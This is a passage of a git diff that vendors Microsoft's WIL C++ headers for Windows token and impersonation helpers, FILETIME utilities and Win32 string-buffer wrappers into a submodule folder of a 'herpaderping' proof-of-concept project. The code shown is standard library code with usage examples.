sizeof(tokenInfo), &tokenInfoSize)); + return S_OK; + } + + /** Retrieves the linked-token information for a token. + Fails-fast if the link information cannot be retrieved. + ~~~~ + auto link = get_linked_token_information_failfast(GetCurrentThreadToken()); + auto tokenUser = get_token_information(link.LinkedToken); + ~~~~ + @param token Specifies the token to query. Pass nullptr to use the current effective thread token + @return unique_token_linked_token containing a handle to the linked token + */ + inline unique_token_linked_token get_linked_token_information_failfast(HANDLE token = nullptr) + { + unique_token_linked_token tokenInfo; + FAIL_FAST_IF_FAILED(get_token_information_nothrow(tokenInfo, token)); + return tokenInfo; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + /** Fetches information about a token. + See get_token_information_nothrow for full details. + ~~~~ + auto user = wil::get_token_information(GetCurrentProcessToken()); + ConsumeSid(user->User.Sid); + ~~~~ + Pass 'nullptr' (or omit the parameter) as tokenHandle to retrieve information about the effective token. + ~~~~ + auto privs = wil::get_token_information(privileges); + for (auto& priv : wil::make_range(privs->Privileges, privs->Privilieges + privs->PrivilegeCount)) + { + if (priv.Attributes & SE_PRIVILEGE_ENABLED) + { + // ... + } + } + ~~~~ + @return A pointer to a structure containing the results of GetTokenInformation for the requested type. The type of + selects which TOKEN_INFORMATION_CLASS will be used. + @param token Specifies which token will be queried. When nullptr or not set, the thread's effective current token is used. + */ + template + inline auto get_token_information(HANDLE token = nullptr) + { + return details::GetTokenInfoWrap(token); + } + + /** Retrieves the linked-token information for a token. + Throws an exception if the link information cannot be retrieved. + ~~~~ + auto link = get_linked_token_information(GetCurrentThreadToken()); + auto tokenUser = get_token_information(link.LinkedToken); + ~~~~ + @param token Specifies the token to query. Pass nullptr to use the current effective thread token + @return unique_token_linked_token containing a handle to the linked token + */ + inline unique_token_linked_token get_linked_token_information(HANDLE token = nullptr) + { + unique_token_linked_token tokenInfo; + THROW_IF_FAILED(get_token_information_nothrow(tokenInfo, token)); + return tokenInfo; + } +#endif +#endif // _WIN32_WINNT >= _WIN32_WINNT_WIN8 + + /// @cond + namespace details + { + inline void RevertImpersonateToken(_Pre_opt_valid_ _Frees_ptr_opt_ HANDLE oldToken) + { + FAIL_FAST_IMMEDIATE_IF(!::SetThreadToken(nullptr, oldToken)); + + if (oldToken) + { + ::CloseHandle(oldToken); + } + } + } + /// @endcond + + using unique_token_reverter = wil::unique_any< + HANDLE, + decltype(&details::RevertImpersonateToken), + details::RevertImpersonateToken, + details::pointer_access_none, + HANDLE, + INT_PTR, + -1, + HANDLE>; + + /** Temporarily impersonates a token on this thread. + This method sets a new token on a thread, restoring the current token when the returned object + is destroyed. Useful for impersonating other tokens or running as 'self,' especially in services. + ~~~~ + HRESULT OpenFileAsSessionuser(PCWSTR filePath, DWORD session, _Out_ HANDLE* opened) + { + wil::unique_handle userToken; + RETURN_IF_WIN32_BOOL_FALSE(QueryUserToken(session, &userToken)); + + wil::unique_token_reverter reverter; + RETURN_IF_FAILED(wil::impersonate_token_nothrow(userToken.get(), reverter)); + + wil::unique_hfile userFile(::CreateFile(filePath, ...)); + RETURN_LAST_ERROR_IF(!userFile && (::GetLastError() != ERROR_FILE_NOT_FOUND)); + + *opened = userFile.release(); + return S_OK; + } + ~~~~ + @param token A token to impersonate, or 'nullptr' to run as the process identity. + */ + inline HRESULT impersonate_token_nothrow(HANDLE token, unique_token_reverter& reverter) + { + wil::unique_handle currentToken; + + // Get the token for the current thread. If there wasn't one, the reset will clear it as well + if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, ¤tToken)) + { + RETURN_LAST_ERROR_IF(::GetLastError() != ERROR_NO_TOKEN); + } + + // Update the current token + RETURN_IF_WIN32_BOOL_FALSE(::SetThreadToken(nullptr, token)); + + reverter.reset(currentToken.release()); // Ownership passed + return S_OK; + } + + /** Temporarily clears any impersonation on this thread. + This method resets the current thread's token to nullptr, indicating that it is not impersonating + any user. Useful for elevating to whatever identity a service or higher-privilege process might + be capable of running under. + ~~~~ + HRESULT DeleteFileRetryAsSelf(PCWSTR filePath) + { + if (!::DeleteFile(filePath)) + { + RETURN_LAST_ERROR_IF(::GetLastError() != ERROR_ACCESS_DENIED); + wil::unique_token_reverter reverter; + RETURN_IF_FAILED(wil::run_as_self_nothrow(reverter)); + RETURN_IF_FAILED(TakeOwnershipOfFile(filePath)); + RETURN_IF_FAILED(GrantDeleteAccess(filePath)); + RETURN_IF_WIN32_BOOL_FALSE(::DeleteFile(filePath)); + } + return S_OK; + } + ~~~~ + */ + inline HRESULT run_as_self_nothrow(unique_token_reverter& reverter) + { + return impersonate_token_nothrow(nullptr, reverter); + } + + inline unique_token_reverter impersonate_token_failfast(HANDLE token) + { + unique_token_reverter oldToken; + FAIL_FAST_IF_FAILED(impersonate_token_nothrow(token, oldToken)); + return oldToken; + } + + inline unique_token_reverter run_as_self_failfast() + { + return impersonate_token_failfast(nullptr); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + /** Temporarily impersonates a token on this thread. + This method sets a new token on a thread, restoring the current token when the returned object + is destroyed. Useful for impersonating other tokens or running as 'self,' especially in services. + ~~~~ + wil::unique_hfile OpenFileAsSessionuser(_In_z_ const wchar_t* filePath, DWORD session) + { + wil::unique_handle userToken; + THROW_IF_WIN32_BOOL_FALSE(QueryUserToken(session, &userToken)); + + auto priorToken = wil::impersonate_token(userToken.get()); + + wil::unique_hfile userFile(::CreateFile(filePath, ...)); + THROW_LAST_ERROR_IF(::GetLastError() != ERROR_FILE_NOT_FOUND); + + return userFile; + } + ~~~~ + @param token A token to impersonate, or 'nullptr' to run as the process identity. + */ + inline unique_token_reverter impersonate_token(HANDLE token = nullptr) + { + unique_token_reverter oldToken; + THROW_IF_FAILED(impersonate_token_nothrow(token, oldToken)); + return oldToken; + } + + /** Temporarily clears any impersonation on this thread. + This method resets the current thread's token to nullptr, indicating that it is not impersonating + any user. Useful for elevating to whatever identity a service or higher-privilege process might + be capable of running under. + ~~~~ + void DeleteFileRetryAsSelf(_In_z_ const wchar_t* filePath) + { + if (!::DeleteFile(filePath) && (::GetLastError() == ERROR_ACCESS_DENIED)) + { + auto priorToken = wil::run_as_self(); + TakeOwnershipOfFile(filePath); + GrantDeleteAccess(filePath); + ::DeleteFile(filePath); + } + } + ~~~~ + */ + inline unique_token_reverter run_as_self() + { + return impersonate_token(nullptr); + } +#endif // WIL_ENABLE_EXCEPTIONS + + namespace details + { + template struct static_sid_t + { + BYTE Revision; + BYTE SubAuthorityCount; + SID_IDENTIFIER_AUTHORITY IdentifierAuthority; + DWORD SubAuthority[AuthorityCount]; + + PSID get() + { + return reinterpret_cast(this); + } + + template static_sid_t& operator=(const static_sid_t& source) + { + static_assert(other <= AuthorityCount, "Cannot assign from a larger static sid to a smaller one"); + + if (&this->Revision != &source.Revision) + { + memcpy(this, &source, sizeof(source)); + } + + return *this; + } + }; + } + + /** Returns a structure containing a Revision 1 SID initialized with the authorities provided + Replaces AllocateAndInitializeSid by constructing a structure laid out like a PSID, but + returned like a value. The resulting object is suitable for use with any method taking PSID, + passed by "&the_sid" or via "the_sid.get()" + ~~~~ + // Change the owner of the key to administrators + auto systemSid = wil::make_static_sid(SECURITY_NT_AUTHORITY, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS); + RETURN_IF_WIN32_ERROR(SetNamedSecurityInfo(keyPath, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, &systemSid, nullptr, nullptr, nullptr)); + ~~~~ + */ + template constexpr auto make_static_sid(const SID_IDENTIFIER_AUTHORITY& authority, Ts&&... subAuthorities) + { + using sid_t = details::static_sid_t; + + static_assert(sizeof...(subAuthorities) <= SID_MAX_SUB_AUTHORITIES, "too many sub authorities"); + static_assert(offsetof(sid_t, Revision) == offsetof(_SID, Revision), "layout mismatch"); + static_assert(offsetof(sid_t, SubAuthorityCount) == offsetof(_SID, SubAuthorityCount), "layout mismatch"); + static_assert(offsetof(sid_t, IdentifierAuthority) == offsetof(_SID, IdentifierAuthority), "layout mismatch"); + static_assert(offsetof(sid_t, SubAuthority) == offsetof(_SID, SubAuthority), "layout mismatch"); + + return sid_t { SID_REVISION, sizeof...(subAuthorities), authority, { static_cast(subAuthorities)... } }; + } + + //! Variant of static_sid that defaults to the NT authority + template constexpr auto make_static_nt_sid(Ts&& ... subAuthorities) + { + return make_static_sid(SECURITY_NT_AUTHORITY, wistd::forward(subAuthorities)...); + } + + /** Determines whether a specified security identifier (SID) is enabled in an access token. + This function determines whether a security identifier, described by a given set of subauthorities, is enabled + in the given access token. Note that only up to eight subauthorities can be passed to this function. + ~~~~ + bool IsGuest() + { + return wil::test_token_membership(nullptr, SECURITY_NT_AUTHORITY, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_GUESTS)); + } + ~~~~ + @param result This will be set to true if and only if a security identifier described by the given set of subauthorities is enabled in the given access token. + @param token A handle to an access token. The handle must have TOKEN_QUERY access to the token, and must be an impersonation token. If token is nullptr, test_token_membership + uses the impersonation token of the calling thread. If the thread is not impersonating, the function duplicates the thread's primary token to create an impersonation token. + @param sidAuthority A reference to a SID_IDENTIFIER_AUTHORITY structure. This structure provides the top-level identifier authority value to set in the SID. + @param subAuthorities Up to 15 subauthority values to place in the SID (this is a systemwide limit) + @return S_OK on success, a FAILED hresult containing the win32 error from creating the SID or querying the token otherwise. + */ + template HRESULT test_token_membership_nothrow(_Out_ bool* result, _In_opt_ HANDLE token, + const SID_IDENTIFIER_AUTHORITY& sidAuthority, Ts&&... subAuthorities) + { + *result = false; + auto tempSid = make_static_sid(sidAuthority, wistd::forward(subAuthorities)...); + BOOL isMember; + RETURN_IF_WIN32_BOOL_FALSE(CheckTokenMembership(token, &tempSid, &isMember)); + + *result = (isMember != FALSE); + + return S_OK; + } + +#if (_WIN32_WINNT >= _WIN32_WINNT_WIN8) + /** Determine whether a token represents an app container + This method uses the passed in token and emits a boolean indicating that + whether TokenIsAppContainer is true. + ~~~~ + HRESULT OnlyIfAppContainer() + { + bool isAppContainer; + RETURN_IF_FAILED(wil::get_token_is_app_container_nothrow(nullptr, isAppContainer)); + RETURN_HR_IF(E_ACCESSDENIED, !isAppContainer); + RETURN_HR(...); + } + ~~~~ + @param token A token to get info about, or 'nullptr' to run as the current thread. + */ + inline HRESULT get_token_is_app_container_nothrow(_In_opt_ HANDLE token, bool& value) + { + DWORD isAppContainer = 0; + DWORD returnLength = 0; + RETURN_IF_WIN32_BOOL_FALSE(::GetTokenInformation( + token ? token : GetCurrentThreadEffectiveToken(), + TokenIsAppContainer, + &isAppContainer, + sizeof(isAppContainer), + &returnLength)); + + value = (isAppContainer != 0); + + return S_OK; + } + + //! A variant of get_token_is_app_container_nothrow that fails-fast on errors retrieving the token information + inline bool get_token_is_app_container_failfast(HANDLE token = nullptr) + { + bool value = false; + FAIL_FAST_IF_FAILED(get_token_is_app_container_nothrow(token, value)); + + return value; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + //! A variant of get_token_is_app_container_nothrow that throws on errors retrieving the token information + inline bool get_token_is_app_container(HANDLE token = nullptr) + { + bool value = false; + THROW_IF_FAILED(get_token_is_app_container_nothrow(token, value)); + + return value; + } +#endif // WIL_ENABLE_EXCEPTIONS +#endif // _WIN32_WINNT >= _WIN32_WINNT_WIN8 + + template bool test_token_membership_failfast(_In_opt_ HANDLE token, + const SID_IDENTIFIER_AUTHORITY& sidAuthority, Ts&&... subAuthorities) + { + bool result; + FAIL_FAST_IF_FAILED(test_token_membership_nothrow(&result, token, sidAuthority, wistd::forward(subAuthorities)...)); + return result; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + template bool test_token_membership(_In_opt_ HANDLE token, const SID_IDENTIFIER_AUTHORITY& sidAuthority, + Ts&&... subAuthorities) + { + bool result; + THROW_IF_FAILED(test_token_membership_nothrow(&result, token, sidAuthority, wistd::forward(subAuthorities)...)); + return result; + } +#endif + +} //namespace wil + +#endif // __WIL_TOKEN_HELPERS_INCLUDED diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/win32_helpers.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/win32_helpers.h new file mode 100644 index 00000000..86fdce0e --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/win32_helpers.h @@ -0,0 +1,612 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_WIN32_HELPERS_INCLUDED +#define __WIL_WIN32_HELPERS_INCLUDED + +#include // FILETIME, HINSTANCE +#include // GetSystemTimeAsFileTime +#include // GetProcAddress +#include // GetModuleFileNameExW (macro), K32GetModuleFileNameExW +#include +#include + +#include "result.h" +#include "resource.h" +#include "wistd_functional.h" +#include "wistd_type_traits.h" + +namespace wil +{ + //! Strictly a function of the file system but this is the value for all known file system, NTFS, FAT. + //! CDFs has a limit of 254. + size_t const max_path_segment_length = 255; + + //! Character length not including the null, MAX_PATH (260) includes the null. + size_t const max_path_length = 259; + + //! 32743 Character length not including the null. This is a system defined limit. + //! The 24 is for the expansion of the roots from "C:" to "\Device\HarddiskVolume4" + //! It will be 25 when there are more than 9 disks. + size_t const max_extended_path_length = 0x7FFF - 24; + + //! For {guid} string form. Includes space for the null terminator. + size_t const guid_string_buffer_length = 39; + + //! For {guid} string form. Not including the null terminator. + size_t const guid_string_length = 38; + +#pragma region FILETIME helpers + // FILETIME duration values. FILETIME is in 100 nanosecond units. + namespace filetime_duration + { + long long const one_millisecond = 10000LL; + long long const one_second = 10000000LL; + long long const one_minute = 10000000LL * 60; // 600000000 or 600000000LL + long long const one_hour = 10000000LL * 60 * 60; // 36000000000 or 36000000000LL + long long const one_day = 10000000LL * 60 * 60 * 24; // 864000000000 or 864000000000LL + }; + + namespace filetime + { + constexpr unsigned long long to_int64(const FILETIME &ft) + { + // Cannot reinterpret_cast FILETIME* to unsigned long long* + // due to alignment differences. + return (static_cast(ft.dwHighDateTime) << 32) + ft.dwLowDateTime; + } + + inline FILETIME from_int64(unsigned long long i64) + { + static_assert(sizeof(i64) == sizeof(FILETIME), "sizes don't match"); + static_assert(__alignof(unsigned long long) >= __alignof(FILETIME), "alignment not compatible with type pun"); + return *reinterpret_cast(&i64); + } + + inline FILETIME add(_In_ FILETIME const &ft, long long delta100ns) + { + return from_int64(to_int64(ft) + delta100ns); + } + + constexpr bool is_empty(const FILETIME &ft) + { + return (ft.dwHighDateTime == 0) && (ft.dwLowDateTime == 0); + } + + inline FILETIME get_system_time() + { + FILETIME ft; + GetSystemTimeAsFileTime(&ft); + return ft; + } + + /// Convert time as units of 100 nanoseconds to milliseconds. Fractional milliseconds are truncated. + constexpr unsigned long long convert_100ns_to_msec(unsigned long long time100ns) + { + return time100ns / filetime_duration::one_millisecond; + } + + /// Convert time as milliseconds to units of 100 nanoseconds. + constexpr unsigned long long convert_msec_to_100ns(unsigned long long timeMsec) + { + return timeMsec * filetime_duration::one_millisecond; + } + +#if defined(_APISETREALTIME_) + /// Returns the current unbiased interrupt-time count, in units of 100 nanoseconds. The unbiased interrupt-time count does not include time the system spends in sleep or hibernation. + /// + /// This API avoids prematurely shortcircuiting timing loops due to system sleep/hibernation. + /// + /// This is equivalent to GetTickCount64() except it returns units of 100 nanoseconds instead of milliseconds, and it doesn't include time the system spends in sleep or hibernation. + /// For example + /// + /// start = GetTickCount64(); + /// hibernate(); + /// ...wake from hibernation 30 minutes later...; + /// elapsed = GetTickCount64() - start; + /// // elapsed = 30min + /// + /// Do the same using unbiased interrupt-time and elapsed is 0 (or nearly so). + /// + /// @note This is identical to QueryUnbiasedInterruptTime() but returns the value as a return value (rather than an out parameter). + /// @see https://msdn.microsoft.com/en-us/library/windows/desktop/ee662307(v=vs.85).aspx + inline unsigned long long QueryUnbiasedInterruptTimeAs100ns() + { + ULONGLONG now{}; + QueryUnbiasedInterruptTime(&now); + return now; + } + + /// Returns the current unbiased interrupt-time count, in units of milliseconds. The unbiased interrupt-time count does not include time the system spends in sleep or hibernation. + /// @see QueryUnbiasedInterruptTimeAs100ns + inline unsigned long long QueryUnbiasedInterruptTimeAsMSec() + { + return convert_100ns_to_msec(QueryUnbiasedInterruptTimeAs100ns()); + } +#endif // _APISETREALTIME_ + } +#pragma endregion + + // Use to adapt Win32 APIs that take a fixed size buffer into forms that return + // an allocated buffer. Supports many types of string representation. + // See comments below on the expected behavior of the callback. + // Adjust stackBufferLength based on typical result sizes to optimize use and + // to test the boundary cases. + template + HRESULT AdaptFixedSizeToAllocatedResult(string_type& result, wistd::function callback) + { + details::string_maker maker; + + wchar_t value[stackBufferLength]; + value[0] = L'\0'; + size_t valueLengthNeededWithNull{}; // callback returns the number of characters needed including the null terminator. + RETURN_IF_FAILED_EXPECTED(callback(value, ARRAYSIZE(value), &valueLengthNeededWithNull)); + WI_ASSERT(valueLengthNeededWithNull > 0); + if (valueLengthNeededWithNull <= ARRAYSIZE(value)) + { + // Success case as described above, make() adds the space for the null. + RETURN_IF_FAILED(maker.make(value, valueLengthNeededWithNull - 1)); + } + else + { + // Did not fit in the stack allocated buffer, need to do 2 phase construction. + // May need to loop more than once if external conditions cause the value to change. + size_t bufferLength; + do + { + bufferLength = valueLengthNeededWithNull; + // bufferLength includes the null so subtract that as make() will add space for it. + RETURN_IF_FAILED(maker.make(nullptr, bufferLength - 1)); + + RETURN_IF_FAILED_EXPECTED(callback(maker.buffer(), bufferLength, &valueLengthNeededWithNull)); + WI_ASSERT(valueLengthNeededWithNull > 0); + + // If the value shrunk, then adjust the string to trim off the excess buffer. + if (valueLengthNeededWithNull < bufferLength) + { + RETURN_IF_FAILED(maker.trim_at_existing_null(valueLengthNeededWithNull - 1)); + } + } + while (valueLengthNeededWithNull > bufferLength); + } + result = maker.release(); + return S_OK; + } + + /** Expands the '%' quoted environment variables in 'input' using ExpandEnvironmentStringsW(); */ + template + HRESULT ExpandEnvironmentStringsW(_In_ PCWSTR input, string_type& result) WI_NOEXCEPT + { + return wil::AdaptFixedSizeToAllocatedResult(result, + [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNul) -> HRESULT + { + *valueLengthNeededWithNul = ::ExpandEnvironmentStringsW(input, value, static_cast(valueLength)); + RETURN_LAST_ERROR_IF(*valueLengthNeededWithNul == 0); + return S_OK; + }); + } + +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM | WINAPI_PARTITION_GAMES) + /** Searches for a specified file in a specified path using ExpandEnvironmentStringsW(); */ + template + HRESULT SearchPathW(_In_opt_ PCWSTR path, _In_ PCWSTR fileName, _In_opt_ PCWSTR extension, string_type& result) WI_NOEXCEPT + { + return wil::AdaptFixedSizeToAllocatedResult(result, + [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNul) -> HRESULT + { + *valueLengthNeededWithNul = ::SearchPathW(path, fileName, extension, static_cast(valueLength), value, nullptr); + + if (*valueLengthNeededWithNul == 0) + { + // ERROR_FILE_NOT_FOUND is an expected return value for SearchPathW + const HRESULT searchResult = HRESULT_FROM_WIN32(::GetLastError()); + RETURN_HR_IF_EXPECTED(searchResult, searchResult == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND)); + RETURN_IF_FAILED(searchResult); + } + + // AdaptFixedSizeToAllocatedResult expects that the length will always include the NUL. + // If the result is copied to the buffer, SearchPathW returns the length of copied string, WITHOUT the NUL. + // If the buffer is too small to hold the result, SearchPathW returns the length of the required buffer WITH the nul. + if (*valueLengthNeededWithNul < valueLength) + { + (*valueLengthNeededWithNul)++; // It fit, account for the null. + } + return S_OK; + }); + } + + // This function does not work beyond the default stack buffer size (255). + // Needs to to retry in a loop similar to wil::GetModuleFileNameExW + // These updates and unit tests are tracked by https://github.com/Microsoft/wil/issues/3 + template + HRESULT QueryFullProcessImageNameW(HANDLE processHandle, _In_ DWORD flags, string_type& result) WI_NOEXCEPT + { + return wil::AdaptFixedSizeToAllocatedResult(result, + [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNul) -> HRESULT + { + DWORD lengthToUse = static_cast(valueLength); + BOOL const success = ::QueryFullProcessImageNameW(processHandle, flags, value, &lengthToUse); + RETURN_LAST_ERROR_IF((success == FALSE) && (::GetLastError() != ERROR_INSUFFICIENT_BUFFER)); + // On both success or insufficient buffer case, add +1 for the null-terminating character + *valueLengthNeededWithNul = lengthToUse + 1; + return S_OK; + }); + } + + /** Expands environment strings and checks path existence with SearchPathW */ + template + HRESULT ExpandEnvAndSearchPath(_In_ PCWSTR input, string_type& result) WI_NOEXCEPT + { + wil::unique_cotaskmem_string expandedName; + RETURN_IF_FAILED((wil::ExpandEnvironmentStringsW(input, expandedName))); + + // ERROR_FILE_NOT_FOUND is an expected return value for SearchPathW + const HRESULT searchResult = (wil::SearchPathW(nullptr, expandedName.get(), nullptr, result)); + RETURN_HR_IF_EXPECTED(searchResult, searchResult == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND)); + RETURN_IF_FAILED(searchResult); + + return S_OK; + } +#endif + + /** Looks up the environment variable 'key' and fails if it is not found. */ + template + inline HRESULT GetEnvironmentVariableW(_In_ PCWSTR key, string_type& result) WI_NOEXCEPT + { + return wil::AdaptFixedSizeToAllocatedResult(result, + [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNul) -> HRESULT + { + // If the function succeeds, the return value is the number of characters stored in the buffer + // pointed to by lpBuffer, not including the terminating null character. + // + // If lpBuffer is not large enough to hold the data, the return value is the buffer size, in + // characters, required to hold the string and its terminating null character and the contents of + // lpBuffer are undefined. + // + // If the function fails, the return value is zero. If the specified environment variable was not + // found in the environment block, GetLastError returns ERROR_ENVVAR_NOT_FOUND. + + ::SetLastError(ERROR_SUCCESS); + + *valueLengthNeededWithNul = ::GetEnvironmentVariableW(key, value, static_cast(valueLength)); + RETURN_LAST_ERROR_IF_EXPECTED((*valueLengthNeededWithNul == 0) && (::GetLastError() != ERROR_SUCCESS)); + if (*valueLengthNeededWithNul < valueLength) + { + (*valueLengthNeededWithNul)++; // It fit, account for the null. + } + return S_OK; + }); + } + + /** Looks up the environment variable 'key' and returns null if it is not found. */ + template + HRESULT TryGetEnvironmentVariableW(_In_ PCWSTR key, string_type& result) WI_NOEXCEPT + { + const auto hr = wil::GetEnvironmentVariableW(key, result); + RETURN_HR_IF(hr, FAILED(hr) && (hr != HRESULT_FROM_WIN32(ERROR_ENVVAR_NOT_FOUND))); + return S_OK; + } + + /** Retrieves the fully qualified path for the file containing the specified module loaded + by a given process. Note GetModuleFileNameExW is a macro.*/ + template + HRESULT GetModuleFileNameExW(_In_opt_ HANDLE process, _In_opt_ HMODULE module, string_type& path) + { + // initialBufferLength is a template parameter to allow for testing. It creates some waste for + // shorter paths, but avoids iteration through the loop in common cases where paths are less + // than 128 characters. + // wil::max_extended_path_length + 1 (for the null char) + // + 1 (to be certain GetModuleFileNameExW didn't truncate) + size_t const ensureNoTrucation = (process != nullptr) ? 1 : 0; + size_t const maxExtendedPathLengthWithNull = wil::max_extended_path_length + 1 + ensureNoTrucation; + + details::string_maker maker; + + for (size_t lengthWithNull = initialBufferLength; + lengthWithNull <= maxExtendedPathLengthWithNull; + lengthWithNull = (wistd::min)(lengthWithNull * 2, maxExtendedPathLengthWithNull)) + { + // make() adds space for the trailing null + RETURN_IF_FAILED(maker.make(nullptr, lengthWithNull - 1)); + + DWORD copiedCount; + bool copyFailed; + bool copySucceededWithNoTruncation; + + if (process != nullptr) + { + // GetModuleFileNameExW truncates and provides no error or other indication it has done so. + // The only way to be sure it didn't truncate is if it didn't need the whole buffer. + copiedCount = ::GetModuleFileNameExW(process, module, maker.buffer(), static_cast(lengthWithNull)); + copyFailed = (0 == copiedCount); + copySucceededWithNoTruncation = !copyFailed && (copiedCount < lengthWithNull - 1); + } + else + { + // In cases of insufficient buffer, GetModuleFileNameW will return a value equal to lengthWithNull + // and set the last error to ERROR_INSUFFICIENT_BUFFER. + copiedCount = ::GetModuleFileNameW(module, maker.buffer(), static_cast(lengthWithNull)); + copyFailed = (0 == copiedCount); + copySucceededWithNoTruncation = !copyFailed && (copiedCount < lengthWithNull); + } + + if (copyFailed) + { + RETURN_LAST_ERROR(); + } + else if (copySucceededWithNoTruncation) + { + path = maker.release(); + return S_OK; + } + + WI_ASSERT((process != nullptr) || (::GetLastError() == ERROR_INSUFFICIENT_BUFFER)); + + if (lengthWithNull == maxExtendedPathLengthWithNull) + { + // If we've reached this point, there's no point in trying a larger buffer size. + break; + } + } + + // Any path should fit into the maximum max_extended_path_length. If we reached here, something went + // terribly wrong. + FAIL_FAST(); + } + + /** Retrieves the fully qualified path for the file that contains the specified module. + The module must have been loaded by the current process. The path returned will use the + same format that was specified when the module was loaded. Therefore, the path can be a + long or short file name, and can have the prefix '\\?\'. */ + template + HRESULT GetModuleFileNameW(HMODULE module, string_type& path) + { + return wil::GetModuleFileNameExW(nullptr, module, path); + } + + template + HRESULT GetSystemDirectoryW(string_type& result) WI_NOEXCEPT + { + return wil::AdaptFixedSizeToAllocatedResult(result, + [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNul) -> HRESULT + { + *valueLengthNeededWithNul = ::GetSystemDirectoryW(value, static_cast(valueLength)); + RETURN_LAST_ERROR_IF(*valueLengthNeededWithNul == 0); + if (*valueLengthNeededWithNul < valueLength) + { + (*valueLengthNeededWithNul)++; // it fit, account for the null + } + return S_OK; + }); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + /** Expands the '%' quoted environment variables in 'input' using ExpandEnvironmentStringsW(); */ + template + string_type ExpandEnvironmentStringsW(_In_ PCWSTR input) + { + string_type result; + THROW_IF_FAILED((wil::ExpandEnvironmentStringsW(input, result))); + return result; + } + +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM | WINAPI_PARTITION_GAMES) + /** Searches for a specified file in a specified path using SearchPathW*/ + template + string_type TrySearchPathW(_In_opt_ PCWSTR path, _In_ PCWSTR fileName, PCWSTR _In_opt_ extension) + { + string_type result; + HRESULT searchHR = wil::SearchPathW(path, fileName, extension, result); + THROW_HR_IF(searchHR, FAILED(searchHR) && (searchHR != HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND))); + return result; + } +#endif + + /** Looks up the environment variable 'key' and fails if it is not found. */ + template + string_type GetEnvironmentVariableW(_In_ PCWSTR key) + { + string_type result; + THROW_IF_FAILED(wil::GetEnvironmentVariableW(key, result)); + return result; + } + + /** Looks up the environment variable 'key' and returns null if it is not found. */ + template + string_type TryGetEnvironmentVariableW(_In_ PCWSTR key) + { + string_type result; + THROW_IF_FAILED(wil::TryGetEnvironmentVariableW(key, result)); + return result; + } + + template + string_type GetModuleFileNameW(HMODULE module) + { + string_type result; + THROW_IF_FAILED(wil::GetModuleFileNameW(module, result)); + return result; + } + + template + string_type GetModuleFileNameExW(HANDLE process, HMODULE module) + { + string_type result; + THROW_IF_FAILED(wil::GetModuleFileNameExW(process, module, result)); + return result; + } + +#endif + + /** Retrieve the HINSTANCE for the current DLL or EXE using this symbol that + the linker provides for every module. This avoids the need for a global HINSTANCE variable + and provides access to this value for static libraries. */ + EXTERN_C IMAGE_DOS_HEADER __ImageBase; + inline HINSTANCE GetModuleInstanceHandle() { return reinterpret_cast(&__ImageBase); } + + /// @cond + namespace details + { + class init_once_completer + { + INIT_ONCE& m_once; + unsigned long m_flags = INIT_ONCE_INIT_FAILED; + public: + init_once_completer(_In_ INIT_ONCE& once) : m_once(once) + { + } + + #pragma warning(push) + #pragma warning(disable:4702) // https://github.com/Microsoft/wil/issues/2 + void success() + { + m_flags = 0; + } + #pragma warning(pop) + + ~init_once_completer() + { + ::InitOnceComplete(&m_once, m_flags, nullptr); + } + }; + } + /// @endcond + + /** Performs one-time initialization + Simplifies using the Win32 INIT_ONCE structure to perform one-time initialization. The provided `func` is invoked + at most once. + ~~~~ + INIT_ONCE g_init{}; + ComPtr g_foo; + HRESULT MyMethod() + { + bool winner = false; + RETURN_IF_FAILED(wil::init_once_nothrow(g_init, [] + { + ComPtr foo; + RETURN_IF_FAILED(::CoCreateInstance(..., IID_PPV_ARGS(&foo)); + RETURN_IF_FAILED(foo->Startup()); + g_foo = foo; + }, &winner); + if (winner) + { + RETURN_IF_FAILED(g_foo->Another()); + } + return S_OK; + } + ~~~~ + See MSDN for more information on `InitOnceExecuteOnce`. + @param initOnce The INIT_ONCE structure to use as context for initialization. + @param func A function that will be invoked to perform initialization. If this fails, the init call + fails and the once-init is not marked as initialized. A later caller could attempt to + initialize it a second time. + @param callerCompleted Set to 'true' if this was the call that caused initialization, false otherwise. + */ + template HRESULT init_once_nothrow(_Inout_ INIT_ONCE& initOnce, T func, _Out_opt_ bool* callerCompleted = nullptr) WI_NOEXCEPT + { + BOOL pending = FALSE; + wil::assign_to_opt_param(callerCompleted, false); + + __WIL_PRIVATE_RETURN_IF_WIN32_BOOL_FALSE(InitOnceBeginInitialize(&initOnce, 0, &pending, nullptr)); + + if (pending) + { + details::init_once_completer completion(initOnce); + __WIL_PRIVATE_RETURN_IF_FAILED(func()); + completion.success(); + wil::assign_to_opt_param(callerCompleted, true); + } + + return S_OK; + } + + //! Similar to init_once_nothrow, but fails-fast if the initialization step failed. The 